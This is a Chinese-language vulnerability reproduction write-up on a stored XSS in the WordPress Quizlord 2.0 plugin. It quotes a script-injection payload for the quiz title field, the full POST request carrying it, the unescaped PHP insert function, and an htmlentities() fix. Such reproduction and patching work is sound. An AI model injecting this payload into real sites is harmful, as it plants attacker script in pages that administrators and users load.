【漏洞復現】WordPress插件Quizlord 2.0 XSS漏洞復現與分析

年后趁著需要做安全測試系統不多的這個空檔，學學python到處逛逛復現復現和分析一些簡單的漏洞
--from Lyricbao

0x00 復現環境

1. phpstudy
2. wordpress 4.4版本
3. Quizlord 2.0版本

貌似WordPress爆出漏洞的通常基本大多都是它的插件存在安全問題。

0x01步驟

使用phpstudy搭建環境，搭建wordpress，然后登陸進后臺去下載Quizlord插件，版本為2.0
一切就緒后就開始看怎么觸發的XSS了

3) At the title type: poc"><script>alert(1)</script> , then fill the remaining fields and click Save.

--from exploit-db

XSS注入點：title

request包

POST /wp4.4/wordpress/wp-admin/admin.php HTTP/1.1
Host: localhost
Content-Length: 184
Cache-Control: max-age=0
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost/wp4.4/wordpress/wp-admin/admin.php?page=quizlord
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: wordpress_886edae3e5f5a7a13e41eff06328019c=admin%7C1550369766%7C3jD0iLwbcUNXjhlOr5O8IF6NjPACdraiCJZNLJhvCOW%7C43a2436e074320bb113475ff8e44222065a4454e602d990d36639085856f0dd3; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_886edae3e5f5a7a13e41eff06328019c=admin%7C1550369766%7C3jD0iLwbcUNXjhlOr5O8IF6NjPACdraiCJZNLJhvCOW%7Cf23acf621ce28dbfc8f0baf9abe31370d3fc5674ca575a4ba1029832ca552c62; wp-settings-time-1=1550197219; pgv_pvi=4214545408; Phpstorm-c3dafaf3=cd60577d-e9ad-4825-b2e4-7a109a7e2faf; PHPSESSID=8v8jf1s93dprjgq4bpo29ldsq7
Connection: close

action=ql_insert&title=%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&description=1&time=0&numbtype=numerical&numbmark=1&rightcolor=00FF00&wrongcolor=FF0000&showtype=paginated&addquiz=Save

效果當然是觸發啊 代碼里一點過濾都沒有 這算一個存儲型XSS

0x02漏洞原理分析

知其然要知其所以然，下面我們來看問題出現在哪個環節
進入Quizlord插件目錄，找到quizlord.php，打開
出問題的是這段函數 title沒有被過濾盒轉義就直接寫進數據庫里面了

function ql_insert_quiz_data(){
    global $wpdb;
    if(!empty($_POST['title'])){
        $ql_title = $_POST['title'];
        $ql_description = $_POST['description'];
        $ql_time = $_POST['time'];
        $ql_rightcolor = "#".$_POST['rightcolor'];
        $ql_wrongcolor = "#".$_POST['wrongcolor'];
        $ql_numbtype = $_POST['numbtype'];
        $ql_numbmark = $_POST['numbmark'];
        $ql_showtype = $_POST['showtype'];

        $ql_random = isset($_POST['random']) ? 1 : 0;
        $ql_skip = isset($_POST['skip']) ? 1 : 0;
        $ql_resume = isset($_POST['resume']) ? 1 : 0;
        $ql_backbtn = isset($_POST['backbtn']) ? 1 : 0;
        $ql_autoload = isset($_POST['autoload']) ? 1 : 0;
        $ql_checkcnt = isset($_POST['checkcnt']) ? 1 : 0;

        $wpdb->insert($wpdb->prefix.'ql_quizzes',
        array(
            'name' => $ql_title,
            'description' => $ql_description,
            'time' => $ql_time,
            'right_color' => $ql_rightcolor,
            'wrong_color' => $ql_wrongcolor,
            'numbering_type' => $ql_numbtype,
            'numbering_mark' => $ql_numbmark,
            'show_type' => $ql_showtype,
            'random' => $ql_random,
            'skip' => $ql_skip,
            'resume' => $ql_resume,
            'autoload' => $ql_autoload,
            'back_button' => $ql_backbtn,
            'check_continue' => $ql_checkcnt
        ));
    }
    wp_redirect($_SERVER['HTTP_REFERER']);
    exit();
}

add_action('admin_action_ql_insert', 'ql_insert_quiz_data');

0x03 漏洞PoC

待寫

0x04 漏洞修復

利用htmlentities()函數轉義html實體。

剛開始的時候想 我一開始都插入payload進數據庫了。不如就在輸出的位置做轉義吧
于是定位到輸出的代碼，修改成<?php echo htmlentities($qlq->name); ?>

輸出就變成正常了，無辦法觸發XSS漏洞。

如果在輸入點進行轉義的話，定位的到輸入賦值的位置，加入 $ql_title = htmlentities($_POST['title'])即可

這樣的情況最好在輸入輸出點都做轉義，這樣就保障得多了
0x05 Reference

https://www.exploit-db.com/exploits/45307 詳細的漏洞細節以及復現方法
https://www.freebuf.com/vuls/189814.html 中文版的這哥們也寫了